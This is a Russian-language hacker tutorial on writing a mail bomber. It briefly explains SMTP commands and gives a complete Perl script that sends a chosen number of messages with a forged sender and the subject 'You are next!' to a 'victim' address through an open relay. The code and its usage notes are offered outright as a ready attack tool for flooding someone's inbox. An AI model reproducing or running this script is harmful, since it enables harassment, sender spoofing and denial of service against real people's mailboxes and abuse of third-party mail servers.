Пишем свой мэйл-бомбер!
Не так давно ко мне в чате (здрям Spikir ;) обратились с просьбой дать какой-нить майл-бомбер,
кинувшись на поиск с удивлением обнаружил только в одном месте - ShadowScan (где-то полтора мега размер зипа).
Но т.к. мне через 2 мин надо было сваливать, а коннект был 21.6 то резона сливать ему это файло
не было =(. Кинув пару линков, где возможно есть бомбер (кста oXid 10x), я ушел в оффлайн.
Суть? А суть в том, что так человеку толком и не смог помочь (потому что хз, был ли там куда я
дал линки бомбер или нет). Так вот седня мы набросаем простенький мэйл бомбер на перле. Слить
такое файло по инету без проблем, файло будет занимать не больше 1 кб.
Теория. Очень кратко.
Для отправления (передачи) писем (электронных сообщений) служит протокол стека TCP/IP - SMTP
(Simple Mail Transfer Protocol). Для работы с ним надо создать TCP соединение с сервером
(у которого присутствует эта служба) на 25 порт. После этого нужно использовать команды этого
протокола. Я обращу внимание на только нужные нам команды. Это HELO . Это мы с
ним поздоровались =). MAIL FROM: <отправитель> - указываем отправителя. RCPT TO: <получатель>
- указываем получателя (реальный e-mail врага). DATA - после этой команды можем отсылать
текст письма. Конец письма указывается так - CRLF . CRLF, т.е. новоя строка, точка, снова
новая строка. QUIT - завершение работы с SMTP сервером. Это основа. В теле письма (после
команды DATA) вы можете написать еще один заголовок From:, To:, Subject:, после которого
нужно послать две пустые строчки, чтоб начать сам текст письма =). Этот заголовок отображается в
мэйл клиентах. Ясно что подделать обратный адрес для нас не проблема. Но ip адрес будет светиться =(.
Вот исходник проги на перле (хочу обратить внимание, я сижу под Win, поэтому строка #!/usr/bin/perl
у меня отсутствует):
#http://www.dhgroup.org/
#
#mailb.pl <smtp_server> <from> <to> <count>
use Net::SMTP;
$param=@ARGV;
if ($param cmp '4')
{
print 'usage: mailb.pl <smtp_server> <from> <to> <count> ';
exit;
}
$server=@ARGV[0];
$from=@ARGV[1];
$to=@ARGV[2];
$count=@ARGV[3];
$smtp = Net::SMTP->new($server);
for($i = 0; $i<$count; $i++)
{
$smtp->mail($from);
$smtp->to($to);
$smtp->data();
$smtp->datasend("From: $from\n");
$smtp->datasend("To: $to\n");
$smtp->datasend("Subject: You are next!\n");
$smtp->datasend("\n");
$smtp->datasend("Hello!!!\n");
$smtp->dataend();
}
$smtp->quit;
print "Ready. $count message sending";
В качестве первого параметра нужно указать адрес smtp сервера, с которого возможно без авторизации
отправлять письма. Вообщем то ты и сам можешь выступить в качестве такого smtp сервера, лишь бы была
соответствующая програмулина. Вторым параметром ты задаешь адрес с которого якобы были отправленны эти
письма. Третьим параметром является адрес жертвы. Ну и последний - количество писем, которые ты желаешь
отправить. Текст письма, как и сабж, можно смело редить. Вместо Hello!! подставь, что-нить свое. Кажись
все. Для отправки юзали модуль Net::SMTP. Анонимности, как таковой,
нету совсем (если не считать From:), твой ip будет светиться и если жертва не ламо, а ip не динамический,
то подумай десять раз перед атакой =). Теперь точно все.
Все вопросы и остальное на rashray@inbox.ru